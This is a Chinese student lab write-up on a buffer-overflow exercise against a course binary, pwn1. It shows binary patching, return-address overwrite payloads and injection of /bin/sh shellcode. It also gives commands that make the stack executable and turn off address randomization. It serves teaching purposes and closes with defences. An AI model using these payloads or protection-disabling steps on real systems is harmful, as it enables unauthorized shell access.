exp1

前提任务,首先把主机名字改为自己的名字拼写

 

 目录

一、逆向及Bof基础实践说明

1、实践目标

本次实践的对象是一个名为pwn1linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2、基础知识

1)常用指令:
  • 管道(|)
    命令格式:命令A|命令B,即命令1的正确输出作为命令B的操作对象(下图应用别人的图片)
    管道.jpg

  • 输入、输出重定向(>):标准输入输出重定向就是为了改变数据流动的方向。很多时候,我们需要从某文件中读取出内容作为输入;或者将结果存到一个文件中。这时,数据输入方向:从文件到程序;数据输出方向:从程序到文件。

类型符号作用
标准输入重定向 command<file 将file文件中的内容作为command的输入
  commandfile2 将file1作为command的输入,并将command的处理结果输出到file2
  command<<END 从标准输入中读取数据,直到遇见分界符END才停止。分界符可以是任意字符,用户自己定义
标准输出重定向 command>file 以覆盖的方式,把command正确输出结果输出到file文件中
  command>>file 以追加的方式,把command正确输出结果输出到file文件中
2)NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3)反汇编与十六进制编程器
  • 反汇编指令objdump -d <文件名>

  • object dump 项目导出
  • -d disassemble 反汇编
  • 十六进制指令为perl -e 'print "字符/字符串"' > <文件名>

  • %!xxd 进入十六进制编辑模式
  • %!xxd -r 切换回原模式

二、实验操作及具体步骤

1、直接修改机器指令,改变程序执行流程

1.1从老师码云中下载pwn1.zip,在kali中解压,并复制文件cp pwn1 pwn20181217

 

1.2 运行可执行文件./pwn20181217

1.3反汇编文件objdump -d pwn20181217 | more
  • 第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。

  • call的机器指令为e8为跳转
  • 执行到call指令,偏移量为d7 ff ff ff(小端),eip的值为80484ba,即下一条指令的地址
  • call的跳转地址当前eip的值+相对偏移地址 新eip 为80484ba + d7ffffff = 8048491
  • 执行函数
1.4对计算机机器指令进行修改

改变程序执行 使执行由<foo>改变为<getshell>,所以修改机器指令,使它从指向08048491改为指向0804847d,call的跳转地址为 0804847d = 80484ba + 偏移量,计算得偏移量c3 ff ff ff

附上计算器计算结果

 所以只需将d7改为c3!

vi pwn20181217 打开文件后为乱码

 输入%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址

修改地址 ,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并保存退出;

反汇编查看机器指令;

./pwn20181217运行结果 

2、通过构造输入参数,造成BOF攻击,改变程序执行流

  • 当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
  • foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
  • 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
2.1确认输入字符串哪几个字符会覆盖到返回地址

cp pwn1 pwn20181217-1

gdb pwn20181217-1调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生错误产生溢出

 

 info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址(由于是小端,1234(阿斯克码)对应的十六进制正是0x34333231)!

2.2构造输入字符串

1234换成getShell的地址0x0804847d

由于数据按小端存储,我们的正确输入为11111111222222223333333344444444x7dx84x04x08,以便能执行getShell。
因为我们没法通过键盘输入x7dx84x04x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input生成包括字符串的一个文件(x0a表示回车);

使用16进制查看指令xxd查看input文件的内容,确认无误后用(cat input;cat) | ./pwn20181217-1input中的字符串作为可执行文件的输入。

3、注入Shellcode并执行

3.1准备工作
  • 安装execstack

     我的kali上显示没有该包,于是我选择安装prelink,但是也没有该包,在老师的帮助下,从外面找了个包安上了,最终成功。

execstack -s pwn20181217-2 //设置堆栈可执行

execstack -q pwn20181217-2 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
 

3.2构造要使用的payload

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
  • 选择nops+shellcode+retaddr结构来攻击buf,在shellcode前填充nop的机器码90:
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    注入:(cat input_shellcode;cat) | ./pwn20181217-2,打开一个终端查看执行文件进程号ps -ef | grep pwn20181217-2

   

 可知进程号为98508。

  • 启用gdb调试进程,attach 98508与进程建立连接

  • 输入指令 disassemble foo 对foo函数进行反汇编。

  • 然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae

  • 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。

  • 接下来输入指令info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据

  • 发现x4x3x2x1果然出现在栈顶,就是返回地址的位置。

 所以我决定将返回地址改为0xffffd190(其实也可以改为0xffffd18c)

测试发现:

可知没有成功。

 结构为:anything+retaddr+nops+shellcode。

成功:

anything我们需要用A...(32个)

经理论推导和实践可知retaddr可用0xffffd1b0到0xffffd1b6.

 可知均成功。

三、实验收获和感悟

     经过这次实验,收获了很多,逐渐明白缓冲区溢出的原理,并能够进行亲自实践,以及编写shellcode,并注入程序中,也加深了对堆栈的理解。感觉对linux的理解更上一层楼。 在这次实验中遇到了很多问题,比如kali中缺少execstack包,经过询问老师得知,可以通过安装prelink来实现execstack,在老师的帮助下,从外部拷入虚拟机prelink包,最终顺利解决。以及再后来的构造playload时,没有真正理解缓冲区溢出漏洞的原理,在多次看视频之后,终于明白了如何构造,并最终顺利实现。

四、实验漏洞及危害

 漏洞

①漏洞是计算机系统本身存在的缺陷 ②漏洞的存在和利用都有一定的环境要求 ③漏洞的存在本身是没有什么危害的,只有被攻击者恶意利用,才能给计算机系统带来威胁和损失。

漏洞:是在硬件、软件、协议的具体实现上存在的缺陷,从而可以使攻击者能够访问或破坏系统。配置不当的问题都可能被攻击者使用,威胁到系统的安全。具体举例来说,比如在 Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。

漏洞的危害:漏洞会影响到的范围很大,包括系统本身及其软件等。在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。这个缺陷或错误可以被不法者或者电脑黑客利用,通过植入木马、病毒等方式来攻击或控制整个电脑,从而窃取电脑中的重要资料和信息,甚至破坏系统。联想电脑管家经常会更新一些漏洞补丁,我们无法在如此繁杂的代码中找到所有的漏洞,只能由用户使用、发现最后回馈给系统,系统再动态的更新代码,弥补漏洞。针对本实验的缓冲区溢出攻击,也是有很多规避方法的,如GCC堆栈保护技术、设置堆栈不可执行、启用地址随机化、加强代码质量检查等,避免缓冲区溢出漏洞。

原文地址:https://www.cnblogs.com/cindy123456/p/14488364.html